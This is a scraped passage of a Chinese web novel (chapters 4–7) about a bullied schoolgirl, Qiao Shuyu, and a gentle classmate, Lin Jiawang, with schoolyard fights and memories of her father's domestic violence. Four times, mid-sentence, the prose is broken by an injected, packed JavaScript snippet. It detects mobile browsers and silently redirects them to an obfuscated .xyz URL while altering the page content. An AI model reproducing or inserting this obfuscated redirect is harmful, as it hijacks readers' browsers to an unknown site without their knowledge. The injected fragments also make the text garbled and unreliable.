曾经有人评价她是只“纸老虎”,她嘴上反驳得凶,心里却默默认同了对方的说法。 鼻子酸得很不合时宜,乔殊羽一口咬住下唇,锋利的虎牙几近刺破嘴唇,也及时止住了盈在眼眶的眼泪。 她将头垂得很低,大把大把地捧出碎纸片,一遍又一遍地扔进一旁的垃圾桶—— 坐在垃圾桶旁边,多少也有点好处。 班主任兼英语老师走过她身边时,疑惑地看了眼她的动作,未发一言,扭头向另一个方向继续巡视。 “老师。”乔殊羽叫住了她,“请问您那边有多余的英语课本吗?” 似是惊讶她的开口,班主任回头看了她一眼,微偏着头,尾音上挑:“你觉得我有吗?” 对话不必再进行下去了,乔殊羽收回目光,沉默地看向空空如也的桌面。 乔殊羽就这么呆坐了一整个早读,直到早读结束铃响起,她如梦初醒般回过神,却在看到桌面上深入木头的那四个字后,疲乏地闭了闭眼。 课代表开始挨个收作业,书包就放在旁边的桌子上,她顺手打开书包开始取作业,目光无意识移向了下面的桌肚。 有些奇怪,这个桌肚里的书本全部完好无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040907|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 损。 将要收的作业放在桌角后,乔殊羽开始挨个检查那些书本。它看上去并未被人动过,没有任何损毁的痕迹,摆放顺序也是按照她日常的习惯。 在她坐的那张课桌桌肚里,放的都是各科的课本,而闲置的课桌桌肚里,放的则是各科的笔记和作业。 很显然,撕毁一些课本给她造成的伤害,远不如撕毁笔记来得多。 要么是对方心软,给她留了一线,要么……就是对方是别班的人,并不知道这个位置也属于她。 前者的猜想过分天真,乔殊羽更倾向于后者。别班讨厌她的人也不少,说不定就是昨天那个被她兜头浇了一瓶水的耳钉男,不敢同她硬碰硬,便玩了手阴的。 果然,还是阴招更损人。 在这么一个秋日的早晨,还有什么比连上两节数学课更为提神的事儿呢。 往日分外讨厌数学课的乔殊羽,今天却有些庆幸,至少按照安排,今天应该是评讲试卷,暂时用不上课本。 160的卷子只考了96,刚刚好到及格线,也不知该说是幸还是不幸。乔殊羽单手托腮,拧眉看着黑板上的天书。 其实小学时她的成绩不赖,曾经还考过班里的第一。 是什么时候开始退步的呢,是从乔仁失业,从他频繁地动手开始吗。 总之上了初中后,乔殊羽的成绩就在不断下滑,直到高二,生生跌到了班级中下游。 两节课下便是大课间,乔殊羽逆着人群,一路来到办公室。 班主任已经前去组织队伍了,她将目光移向语文老师:“老师,可不可以借您的手机给我妈打个电话。” 语文老师瞥了她一眼,将手机递给了她。 约莫过了一分钟,电话才接通,李亦梅的声音很小,似乎有在刻意压低:“喂?” “妈,你有空可不可以帮我去买批课本。” “可以啊,要哪本?” “呃……全部都要。高一和高二的都要。”学校习惯边教边复习,再加上备战会考,高一和高二的所有课本她都带到了学校。 “好。哎,马上就来,马上就来——”李亦梅的声音陡然提高了几分,似乎在回应别人的发问,末了,她又将声音压低道,“那个,囡囡,为什么突然要买这么多,不是开学刚发了吗?” 乔殊羽为难地闭了闭眼,不太想坦白:“我想借着没有笔记的新课本,重新梳理一遍内容。” “行,妈妈中午下班就去给你买。”李亦梅没有多做怀疑,爽快地答应了她。 将手机递还给语文老师后,对方看了她一眼:“你课本去哪了?” “被别人撕了。” 语文老师略显惊讶地一挑眉,最终只“哦”了一声,低头继续批改作业。 此刻,高一到高三的所有学生都在操场上进行跑操,口号喊得震天响,便衬得走廊上无比安静。 乔殊羽喜欢这种安静,或者说喜欢这种无人的环境。她慢悠悠地向教室踱去,路过12班门口时,鬼使神差地向内看了一眼。 教室里空无一人,课本都乱糟糟地堆在桌面上,桌椅也七歪八扭,几乎能想象出全班涌出教室时的混乱场景。 如果她知道下一秒会发生的事,她一定不会纵容自己去看这么一眼。 就在她收回目光的那一瞬,林家望正从对面走来,手里握着开盖的保温杯。雾气升腾,模糊了他的脸,却没有模糊他径直而来的目光—— 以及留意到她刚刚的目之所及后,眸中一闪而过的惊讶和疑惑。 5. 第 5 章 乔殊羽避开他的目光,试图目不斜视地回到自己的班级。却见对方径直迎上前,露出一个友好的微笑。 “昨晚的事,不好意思。”林家望道。 乔殊羽不解地望着他,脑中回忆着昨晚发生的事:“有什么好道歉的?” 林家望的眼底飞过一丝为难:“我不知道怎么说,总之……很抱歉。” 就因为那番意外的举动? 于是昨晚说了抱歉还不够,今天又补上一遍? 乔殊羽难以理解他的脑回路,也不打算理解,生硬地“哦”了一声,错开一步朝自己的教室走去。 双肩相错时,仿佛自一个世界遁入了另一个世界,以至于脚步有少许的迟疑。 鼻腔里是干净的皂香,加上那升腾的水汽,让味道也带上了温度。 一路走到11班的正门,乔殊羽停住脚步,意识到耳中一直只有自己的脚步声。 回头一看,林家望依然笔管条直地站在原地。有风卷过他白色的T恤,恶作剧地掀露出一小截腰肢,令她想起第二次见到他时,那沾着血的衣角,随着他松开的手,轻飘飘地遮住了他单薄的腰身。 “……那个。”乔殊羽没忍住开了口。 林家望闻声回头,茫然道:“嗯?” “你们班,下节课是什么课?”下节是语文课,按照计划该讲新课文了,没有课本实在有些难办。 林家望眨了眨眼似在回忆,而后自我肯定地点点头道:“应该是物理。怎么了吗?” “唔……”独来独往太久,以至于请求他人的帮忙成了件困难的事,“算了,没什么。” 语罢,乔殊羽便打算向教室内走,却见林家望三两步上前,比她先一步进了门,站在了她面前。 “如果有什么我可以帮你的,我很愿意效劳。” 乔殊羽一怔,第一反应居然是笑出了声。林家望的语气太认真太诚恳,显得过分正式,甚至有点儿傻。 她的笑让林家望有几分窘迫,他下意识地扫了圈四周,没见到其他学生后,再度微微垂眼望向了她,眼里带着几分或许他自己也尚未意识到的执拗。 “行,那你能把语文必修五借我一节课吗?”不借白不借,乔殊羽不打算再推脱。 “可以啊。”林家望应得很爽快,“我现在去拿给你。” 白色的衣袂在眼前一闪而过,他走得比平常要快了不少。乔殊羽肩抵门框,懒洋洋地倚在门口等着他。 走廊上很静,静到她能听见一墙之隔的脚步声,目光仿佛也穿透了那面厚重的白墙。而后脚步声愈来愈近,一本被细心包了书套的语文书递到了她面前。 她刚刚接过,又见一个迷你饭盒压在了课本上。 “这是什么?”乔殊羽将课本随手放在一边,打开只有掌心大小的饭盒,一瞬间觉得凉气直冒。 “不锈钢冰块。”林家望道,“我看你好像……昨晚上没有睡好。” “……呃。”乔殊羽不自然地眨了眨眼,该死的眼肿居然到现在还没消透,也不知被多少人看了笑话。 饭盒的保温效果不错,里面放着四枚方形的不锈钢冰块,乔殊羽轻轻一碰,便被冻到一缩手指。 视野里又被递来一包纸:“用纸巾包着去敷,就没那么冻手了。” “我自己有。”乔殊羽合上饭盒,避开了他递来的纸巾,“不过,你带这玩意儿干什么。” 空气中陷入几秒沉默,无需他回答,乔殊羽已经想明白了答案。 只是未待她岔开话题,林家望便坦然道:“因为经常会受伤,当下不冰敷的话,后续会愈合得很慢。” 自觉问错了话,乔殊羽生硬地试图缓和气氛:“连这个都记得带,怎么上次忘了带纸。” “因为,纸也有用完的时候嘛。” 乔殊羽微微仰头望向他的双眼,他看上去是如此平和淡然,澄澈的瞳孔是纯粹的黑,睫毛扇下一片阴影,在他努力佯装的镇定中,唯有这颤动如羽翼的双睫暴露了他。 “那个,你下下节是什么课?”乔殊羽别开眼,生涩地开了口。 “英语。”这次,林家望答得没有丝毫犹疑。 “那你能把物理书借给我吗?”乔殊羽望了眼黑板角落的课表,第四节课赫然是物理课。 “可以。”林家望顿了一下,“下节课课间给你好吗?” 乔殊羽不解:“为什么?” 说来奇怪,她不想让第三个人看到她和林家望的相处。 “因为……我们班下节是物理课。”为了缓解尴尬,林家望笑了一下。 乔殊羽一怔,几分钟之前,林家望似乎已经告诉了她这一点,而她纯然没有把对方的话放在心上。 “算了。”乔殊羽摇摇头。其实物理课也没有那么需要课本,大部分时刻都是对着PPT抄笔记。 林家望为难地一抿唇,片刻后道:“我现在给你吧。” 在他转身的瞬间,乔殊羽眼疾手快地扣住了他的手腕。 他的体温是意料之外的温暖,手腕细到她能轻易圈牢。大抵是太过突然,她抓得过于用力,掌心被突起的尺骨硌到有些发疼。 被拽停的林家望回头看向她,她赶忙匆匆松开手,甚至像是觉得失格,不自觉地将那只手背到了身后。 “那你下节课怎么办。”乔殊羽强装镇定道。 “我想了一下,下节课应该是讲周考试卷,基本用不到课本。”林家望的声音始终不疾不徐,咬字又轻又柔。 乔殊羽张了张口,意欲再说些什么,最终只送出了“好吧”二字。 脚步声再度响起,这次,乔殊羽不再对着墙壁发呆,而是低头望着语文书和饭盒。 她轻轻晃了晃小巧的饭盒,冰块发出了清脆的碰撞声,银铃般悦耳。 别人口中做事总是慢悠悠的林家望,今天的速度竟是出人意料的快。她的小动作被意外捕捉,耳畔传来几不可察的轻笑,一本物理书挡在了她和饭盒之间。 “哦。”乔殊羽接过物理书,按大小将它放在了语文书下。 课间跑操似乎已经结束了,隐约有脚步声自楼梯处响起,潮水般逐级上涌。 二人默契地看了眼尚且空荡荡的走廊,林家望率先开口道:“那我先回班了。” 乔殊羽没应声,直到他的衣角消失在门框边沿时,后知后觉地道了声“谢谢”。 被帮助的感觉很陌生,连道谢也一并变得陌生。 滚滚而来的脚步声逐渐逼近,宛若大军临境,乔殊羽匆匆抓起三样东西,快步回到了自己的座位。 原本安静的教室,一瞬间炸开了锅,好在没有人烦扰她,足以让她安心地翻阅林家望的课本。 尽管才开学一个多月,便开始有学生的课本掉了封皮、皱了页角,与之相比,林家望的课本保管得过分用心了。 翻开扉页,正用行书写着他的名字,这潇洒飞扬的三个字,与他惯常的形象多少有几分不符。 只是…… 乔殊羽细细望去,写着他名字的那一小块纸显然被胶带粘过,薄到透光。 再向后翻去,类似的地方还不止一处。看起来崭新的书本,内里却“伤痕累累”。 直到翻到没有任何笔记的崭新一页,上面的印痕暴露了他前页粘走的内容—— 无非是那些无数次在别人口中听过的侮/辱词汇。 不管怎么说,还是比直接撕掉课本要好些嘛…… 乔殊羽自嘲一笑,指腹轻轻摩挲着被粘过的地方,不同于其他书页的光滑,它呈现着一种脆弱的粗糙。 大课间的休息时间要稍长些,然而最终也不过是被老师克扣。语文老师提前五分钟来到班里,压下了一室嘈杂,让大家提前预习马上要学习的课文。 他边说着,目光边扫过全班,不可避免地也看到了她。他惯常地飞速扫过,却又陡然移回,眸中闪过一丝疑惑,显然是看到了她桌上的课本。 乔殊羽不知道他会怎么想,是觉得自己刚刚在撒谎吗。 反正不管怎么想,一定也不会想到有人愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040908|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意借课本给她。 她这么思忖着,指尖再度轻轻掠过书页,轻柔到像是童年时爱抚一只毛绒玩具。 12班显然已经上过了这堂课,一整篇的批注格外详细。划线是用直尺打底,字虽然潇洒却并不凌乱,小标题用蓝黑色笔写,重点部分用红笔标注,再用黑笔注释,看起来清爽而有条理。 想不到,林家望对待学习的态度还挺认真。 相比之下,她的课本就算保留下来似乎也没多大意义。鬼画符的字,毫无章法的批注,时间一久,连她自己都不知道写了些什么。 比起语文课本,林家望在物理课本上的批注要少得多。 大抵是多数的笔记都已经写在了笔记本里,他的课本上只有重点部分的划线,以及在各个使用频率不同的公式前,用不同符号留下的记号,并附带了些许拓展公式。在前后关联的内容里,他也会细心地注释出前章页码。 倒也稀奇,他在课本上这几笔批注,看起来竟比她对着PPT、抄了满页的笔记更加清晰易懂。 难得一堂物理课,乔殊羽听得比平常认真又通透。 每每物理老师讲到哪个公式,她都能精准在书本上定位到,并且在老师拓展相关公式之前,先一步根据他的索引,猜到下一个公式—— 心头随之升起小小的满足感,哪怕并不归功于她,但内心还是漫起些许自得的泡泡。 她好像有点喜欢林家望的课本了。 在这之中,一定藏着什么神奇的魔力。 出于老师们最后的那点儿仁慈,为了让他们顺利抢到饭,每天中午和傍晚的最后一节课,老师们都默契地尽可能按时下课。 今天也不外乎如此,铃声一响,物理老师看了眼最后一道大题,大手一挥:“行了,你们去吃饭吧。” 学生们一窝蜂地向外涌去,换作往日,乔殊羽总喜欢磨蹭到最后才离座。 而今天,她率先起身,手里抓着两本课本,想了想,又捎上了那盒没派上用场的冰块—— 她实在不好意思在众人面前敷眼,仿佛在刻意强调她那对肿眼泡。 乔殊羽顺着人流向外涌去,大家都在热烈讨论着中午的饭菜,她的目光却注视着从12班走出的人群,一张张陌生的脸在眼前掠过。 只是,她尚未见到林家望的身影,便已经被人流推到了楼梯口。 “好巧”已经在口边重复了一百遍,再回头去等待和寻找,未免过分刻意。 反正暂时没有课了,迟些还也无所谓。乔殊羽这么想着,一边向楼下走去,一边将三样东西放进了书包里—— 往日她不会背着书包去食堂的,但为了里面的那些书本不再遭到破坏,她觉得从今往后有这个必要。 一个人吃饭确实自在,乔殊羽慢条斯理地咀嚼着,目无焦点地望着一处,面上平静如水,心里倒汹涌澎湃—— 只是过于凌乱,连她自己也不知道在想些什么。众多思绪如一团乱麻,塞满了她的大脑,演着一幕糟糕的群像戏。 从这之中,定下心竟也能捋出一条主线。那便是吃完饭,找个机会将课本还给林家望。 最好是一个偶遇,刻意制造的也行,在没有人注意到的角落,尽快将东西还给他。 想到这里,乔殊羽稍稍加快了些吃饭的速度。 这一年的饭吃下来,食堂师傅怕是打死了不少卖盐的,尸体能堆满一仓库。 乔殊羽走出食堂,被那干燥的秋风一吹,愈发觉得口中发渴。比起保温杯的热水,她更想灌一口清凉的冰水解渴。 她停住走向教学楼的步伐,回身朝小卖部走去。 这是条众人都熟知的近路,只是杂草丛生,平常走得人不多。不知哪年的秋天便早已枯黄的草,在她脚下发出疲软的碎裂声。 正午的烈日当空,秋老虎肆虐,耳畔是喧闹的蝉鸣,以及随着她的步伐,愈发清晰的推搡声。 还有那句不必去问,也知道是说谁的骂声—— “死娘炮,早他妈看你不爽了。” 6. 第 6 章 在这条路上有两条岔路,一条通向校内的知学湖,一条通向小卖部。 前者那条路几乎没有人走,毕竟在繁忙的高中生活,少有人有闲心雅致去赏湖。 因此,那条路也孕育了许多不可见天日的事。曾有人于此野/战的传闻在每届都经久不衰,以至于什么接吻和打架,都显得小巫见大巫。 乔殊羽将脚步放慢,尽可能避开那些干枯的荒草,踏着泥土逐渐向声源处逼近。 声音愈来愈近,漫骂声中还夹杂着一声闷响,以及一声克制的呻/吟。 拐角处,乔殊羽停住脚步,侧身悄悄向内看去。 是林家望没错。 雪白的T恤沾上了大片泥灰,他背抵着墙微微仰头,下颌紧绷着,颌骨几乎要刺穿脆弱的皮肤,那纤长脆弱的脖颈,也毫无防备地尽数展示。再向上,是微阖的双眸,眉心痛苦地拧起,半张的嘴喘着沉重的粗气。 在他面前,是个比他矮了半个头,却壮了不止一倍的男生。对方满眼调笑地拍拍他的脸,啐了一声:“真他妈像个娘儿们。” 林家望厌恶地别开脸—— 而自以为隐藏得很好的乔殊羽,一瞬间被抓了包。 四目相对间,林家望痛苦地一滚喉结,干脆彻底阖上眼,单方面阻绝了相视的可能。 乔殊羽默默后退了半步。 墙面像幕布一样缓缓拉上,遮掩了那幕糟糕的戏剧。 自己要干什么来着。 为什么要走这条路。 对了,口渴,她要买水。小卖部在下个路口,她该继续往前走。 双腿却仿似灌了铅,令她迈不开半步。 耳边又传来一声闷响,以及林家望竭力克制的咳嗽声。 乔殊羽低头望向自己的双手,握成拳又缓缓松开。 如果理智先行,现在她最该做的便是假装没看见,尽快离开这里。 每一次挥拳都是一次树敌,她没那么了不起,也不会被一两场胜利蒙蔽双眼,更不需要林家望这种没用的队友。 在这个学校里,她已经活得够艰难了,唯一想做的只有自保。 只是喉口愈发干涩,仿佛刚刚结束一场八百米跑,连呼吸都是割裂般的疼。 都怪今天的菜咸到过分。 得赶快去买瓶水了,直走、直走、直走—— 由远及近的脚步声令林家望茫然地睁开眼,预备着第三个人加入欺/侮他的无聊游戏。 跃动的马尾辫梢掠过他的面庞,是清新冷冽的柠檬香气。矮胖的男生被一脚踹倒在地,哀嚎刚呼出一半,便被揪着衣领强行起身。 身后的墙传来细微的震动,伴着一声闷响。林家望扭头望去,男生被强行按在他身侧的墙上,一只手卡着那肥硕的脖颈未免过于勉强,但依然让男生憋到满脸通红。 而顺着那骨节分明的手一路向上,是微昂的下巴,垂下的目光里写着厌恶,以及几分不耐烦。 “你他妈……干嘛啊。”男生吃力地蹦出几个字。 “看你不爽。”乔殊羽的语气,平静到仿佛只是一句日常的客套话。 “你想、想去牢里……找你爸是不是。” 男生的双手死死抓着乔殊羽的手臂,林家望嫌恶地拧起眉,黄黑色的粗糙肌肤覆在那片雪白上,仿佛是一种莫大的玷污。 “嗯,你猜对了。”乔殊羽俯身向他凑近了些,声音也压低了几分,“我见法官,你见法医,好不好?” “疯子、疯子……”男生惊恐地开始不断挣扎,乔殊羽刚一松手,他便慌不择路地向出口跑去。被地上的垃圾绊了个踉跄后,连滚带爬地消失在了二人视野中。 耳畔终于恢复了宁静,乔殊羽甩了甩略显酸涩的手腕,头也不回地一路向出口走去。 “乔殊羽。”有人在背后叫住了她,还是那番认真而拘谨的咬字。 乔殊羽停住脚步,顿了几秒才回过头。 林家望的头发看起来很柔软,被风卷过,一丛丛地微微扬起又落下。脸颊被粗糙的墙面蹭伤了一块,渗出密密的血珠,逐渐汇合,又一路没入脖颈,像一根散开的红线。 “谢谢你。”林家望道。 乔殊羽疲惫地望着他,想来他某种意义上也很强大,毕竟挨打也是需要体力的。 可怜她就是没那个耐力挨打,才会反客为主,缩短时间尽快解决。 “你是肌无力吗?”乔殊羽道。 “嗯?”林家望茫然地摇摇头。 “那为什么每次被打的时候……”乔殊羽走近他,低头看向他张开的手,“都不知道把它握紧?” 林家望顺着她的目光看去,左手虚虚地握起。 “啧。”乔殊羽嫌弃地扣住他的手腕,举到眼侧的高度。 林家望的眼里闪过一丝惊慌,身子猝然一颤,那是来自于一种长期形成的本能。幸而,他还是克制住了自己缩回手的冲动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040909|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原来就算如此瘦弱的男生,骨架依然比她大上几分。乔殊羽奋力张开五指,也不过握住了他的半个拳头。 “以后再有人打你,像这样——”乔殊羽用力握紧,逼着他将拳头攥实了些,而后猛一出拳,“往他鼻子上栽。” 一拳打向虚无时,正午浑浊的空气仿佛一霎被打散,现出的缺口,令回忆见缝插针地涌入。 想来也是有意思,当初乔殊羽还是和她爸学会的挥拳。 虽然乔殊羽长得凶,但美和凶是可以并存的。再加上她身子瘦弱,从小到大没少经受下/流的骚/扰。 每次遇到这种事,她都会嫌恶地避开,不痛不痒地骂上几句,反而招来那些老男人无耻的淫/笑。 于是乔仁教她,遇上这种事,就要一拳打过去。她一个姑娘家,打不出什么大问题,但起码能让对方吃痛。对小女孩下手的,都是欺软怕硬的主儿。 乔殊羽学到了,并且她的第一个沙包便是乔仁,直打得他“嗷嗷”叫,说看不出她力气这么大。 后来,她还不止一次和她爸动过手。 每每喝完酒,乔仁就是个彻头彻尾的疯子。 他在外窝囊,在家威风,娶来的老婆能干活能带娃,还能让他展现一下男子气概,好不划算。 小的时候,每当乔殊羽看见李亦梅挨打,只会瑟瑟发抖地躲在房间里。并且在日后起码一周内,都用阴恻恻的目光瞪着乔仁,表达无言的抗议。 直到她第一次一拳栽上乔仁的胸膛,意识到自己并非只能旁观时,当她再看到李亦梅挨打,第一反应便是上前给乔仁来了一拳。 当然最终的结果,是李亦梅跪在地上向他求饶,让他停手。而乔殊羽晕乎乎地躺在地上,被打成脑震荡,请了一周的假。 她清楚地感知到了她与乔仁之间的差距,但同时也在心里暗自发誓,总有一天要把他按倒在地,数倍奉还。 “乔殊羽?” 耳畔传来试探性的轻唤,乔殊羽回过神来,意识到自己还抓着林家望的手,赶忙匆匆地放开。 没了她的支撑,林家望的拳头无力地散开,依着重力顺势垂下,凸起的指节蹭过她的手背,有几分痒。 “学会了吗?”乔殊羽冷声道。 林家望眨了眨眼,眼里的无奈似乎在表明他不想撒谎。 “废物。”乔殊羽掷下这两个字,快步朝出口走去。 这次,林家望没有喊住她。 7. 第 7 章 乔殊羽讨厌所有软弱的人。 譬如林家望,譬如李亦梅,譬如被乔仁打倒在地的她自己。 可怜她如此憎恨乔仁,却还是和他学着握紧了拳头,并且握起就不会再松开。 而它们第一次落在同学身上,是在开学的第三天。 那天晚自习刚下,乔殊羽独自顺着人潮向前,未几步,忽然被人强行拽向天台。 说来奇怪,从小到大她都不知道如何尖叫,彼时她惊慌地半张着嘴,竟发不出一点声音。 有人察觉到身边的异样,但到底也只是淡淡瞥了一眼。 拽她的是两个男生,乔殊羽拗不过他们的劲,一路被拖拽到了天台。 天台上没有灯,但足够敞亮,月光慷慨地洒下一大片,足以让她看清男生脸上不怀好意的笑。 “你就是那个谁来着……那个乔仁的女儿?”平头的那位率先开口道,饶有兴味地打量着她,“长得还怪好看的。” 一只手腕被人死死扣住,乔殊羽挣脱不开,双眼剜着他一言不发。 “哟,小妞还挺有脾气。”平头嗤笑着,抬手拍拍她的脸蛋,下一秒,却吃痛地“嗷”了一声。 乔殊羽毫不留情地扭头咬上了他的虎口,平头触电般甩开手,倒吸了一口凉气,嘴里破口大骂着。身边戴眼镜的那个走上前,不由分说对着她的肩膀猛推了一下。 这一掌半分力没收,乔殊羽被推到跌坐在地。眼看眼镜上前半步,在他的脚踢来之前,乔殊羽眼疾手快地抓着他的脚腕,一把将他拽倒在地。 “操!给你脸了是吧!”眼镜气急败坏地起身,乔殊羽也随之谨慎地站起,却还是没逃过被平头反剪了双手。 平头就站在她背后,一只手牢牢钳住了她纤细的一双手腕,一只手抵着她的后背,让她的上半身几乎动弹不得。 她被夹在二人中间,鼻腔里满是腥臭的汗味和烟草味,偏巧呼吸还在此刻不受控地变得急促,唯有一双眼依然一眨不眨地瞪着对方。 面前的人看似被制服了,眼镜颇有余裕地将目光下移,满脸淫/笑道:“没什么料,有点可惜啊。” 说着,眼镜迫不及待地晃了晃五指。手刚刚举起,没伸向乔殊羽,却颤抖着捂住了自己的下面。 真可惜,想要对着她耍流/氓,他们似乎需要再多一个人束缚住她的双腿。 乔殊羽发狠地踹向眼镜,踹他的下/体,踹他的小腹,踹他的小腿,踹每一个让他疼痛难挨的部位。他的好兄弟在身后挟持了她的手,也变相支撑了她的身体。 那地儿大抵就是每个男人的阿喀琉斯之踵,眼镜疼到在地上搏命地打滚哀嚎。平头显然也慌了,原本抵着她脊背的手,改作拽她的头发。 头皮被拽得生疼,像数根密密的针在扎。乔殊羽没有半分回头和挣扎的意思,脚下依然没有放过眼镜,眼见他向远处滚去,她便仿似一头蛮牛般前进,生生带着平头也踉跄向前,而头皮已经开始疼到麻木。 这是她和她爸学来的,不能停,一旦停了,遭罪的便是自己。 眼镜瘫倒在地,腿已经软到无力动弹,面对依然在逼近的乔殊羽,他的眼中是此生从未有过的恐惧。见状,平头从背后一脚踹向她的膝盖,令她被迫跪倒在地,而手也顺势松开。 或许,他会后悔他放开了手。 双手恢复自由的下一秒,乔殊羽猛然回身,视野还没清晰便出了拳。按照高度,那拳本该栽向小腹,好巧不巧平头正低头看她,生生用脸接下了那一拳。 至于那拳的力道,曾经收到过乔仁的高度赞赏。 平头被打到坐倒在地,吃痛地捂嘴,鼻腔里滚出的鲜血渗进了指缝。他攥紧另一只手,似乎还想挽回一点尊严,耳畔却传来同伴求助的哀呼。 他只得艰难地起身,拽着眼镜往外走。还不忘像所有影视剧里的反派那样,留下一句“下次等着”。 乔殊羽一直在等,不过至今也没等到。 其实论实力,乔殊羽并不觉得自己真能打过这两个男生。 问题在于,他们只是想羞/辱教训她,而乔殊羽是在下死手。 擎县二中算不上什么好学校,本科率不足百分之四十。但到底是个正儿八经的高中,再怎么横的,比起职高里那些不顾死活的,多少还是差了一截。 想要制服乔殊羽很简单,大可以和乔仁学学,卡着她的脖子,把她的后脑往墙上撞,在她晕到无力反抗时,像踹一条死狗那样踹她。 但他们不敢。他们怕处分,更怕进局子,唯能在一群比他们更怂的人面前耍威风,遇上乔殊羽这种不要命的,自然逊了一筹。 正是这一战,让乔殊羽在学校里立了名。 说来也是奇怪,校园里每个角落发生的事,似乎都没法彻底隐匿。乔殊羽不会无聊去说,那两位被狠挫了志气,也不好意思和人分享。 但这件事还是被人知道了,并且呈几何倍数在学生间飞速传递。毕竟一方是年级扛把子,一方是看似瘦弱的犯人家属,可谓噱头满满。 而这之间,自然也不乏转述时的老毛病——添油加醋。 到最后,乔殊羽多少从那些纷扰的议论声中,拼凑出了广为流传的流言最终体。 在这个已经被夸大成谣言的故事里,她被说成了仿似黑面罗刹一般的存在,阴鸷狠厉,拳拳见血,还能从容脱身—— 乔殊羽不由得摸了摸后脑,她的头皮已经疼了快一周,每天梳头都能掉下数把头发。 当然,她并不打算去驳斥,而对此事充满回避的那两人,反倒变相证实了那些传言。 这一战打开了她的名声,打退了那些对她蠢蠢欲动的人,也打消了她与人正常相处的所有可能。 所有人起初因为她的身份而嫌恶她,此刻又增添了一层对她本人的惧怕。求生本能和正义之情,令他人团结在一起,默契地将她排除在社交圈外。 不会有人喜欢被孤立的感觉的。 但如果再选一次,乔殊羽还是会做出同样的回击。 - 独自回到教室时,乔殊羽站在后门边顿了少顷。她的课桌被突兀地掀倒在地,生生挡了路,有同学自那处走过,跳芭蕾舞般踮着脚从缝隙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16040910|178769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿过。 和被撕毁的课本一样,只有她坐的桌子遭了殃,另一张被她用来放书的桌子完好无损地立着。笔袋里的笔散了一地,显然还被人踩了几脚,塑料外壳上满是裂痕。 看到杯口被摔裂的保温杯时,她很没出息地红了眼眶。 余光里,能感受到他人看热闹的目光,乔殊羽紧咬牙关,威胁自己把眼泪锁在眼眶中。她蹲下/身,颤抖着捡起保温杯,杯口显然已经被摔坏了,温水源源不断地向外流淌。 因为记着李亦梅的叮嘱,怕烫的她一上午还没喝上一口。 乔殊羽沉默地扶起课桌,擦干水渍。幸而那些笔只是被踩过,而没有给她不留情地掰断,除了脏了些,握着不舒服些,起码还能写。 她取出自动铅笔,在桌上写下了“你是谁?”,想想又把它擦了。试图再写些什么时,却发现已经无法按出铅芯了。 好吧,还是给她破坏了一支笔的。 突突直跳的太阳穴让乔殊羽根本无法静心,但她还是故作淡定地埋下头假装睡觉。 这样,便能躲在自己的臂弯里悄悄掉眼泪。 但哭完眼睛会肿,要是能冰敷一下就好了—— 她忽然想起林家望借给她的那盒冰块。 乔殊羽将书包拽到腿间,额头抵着课桌将它打开,里面不仅有那盒冰块,也有林家望的课本。 该还给他的。 只是,自己刚刚同他不欢而散,要如何厚着脸皮回去找他。 要是知道他坐在哪个位置就好了,找一个无人的时候,悄悄把东西放回去。就像那个躲在暗处的人,悄悄破坏自己的东西。 冰块最终还是派上了用场,过了几个小时,它早已没有最初触摸时那般冰凉。乔殊羽将它放在手心,悄悄覆在哭到滚烫的眼皮上,有一种令人舒心的凉意。 下午的课程依旧乏味,各个老师转行去当催眠师,大抵也能干出一番成绩。 乔殊羽呆滞地望着黑板,脑中在算着时间,多久吃饭,多久放学。 保温杯里残余的小半杯水一早被她喝完,趁着课间,乔殊羽又去买了瓶矿泉水。 她打算向李亦梅撒谎,把保温杯留在学校里。如果每天靠矿泉水度日的话,她可以省一点,一天只喝两瓶。 又或者,还能拿喝光的矿泉水瓶去接免费的热水。虽然总说塑料被滚水烫过会析出有毒物质,但她又不打算长命百岁。 在她盘算着每周要为此多花多少钱时,耳边突兀地传来一声呼喝:“林家望!” 不是外号,而是正儿八经的大名,乔殊羽循声望去,果然来自隔壁班的老师之口。 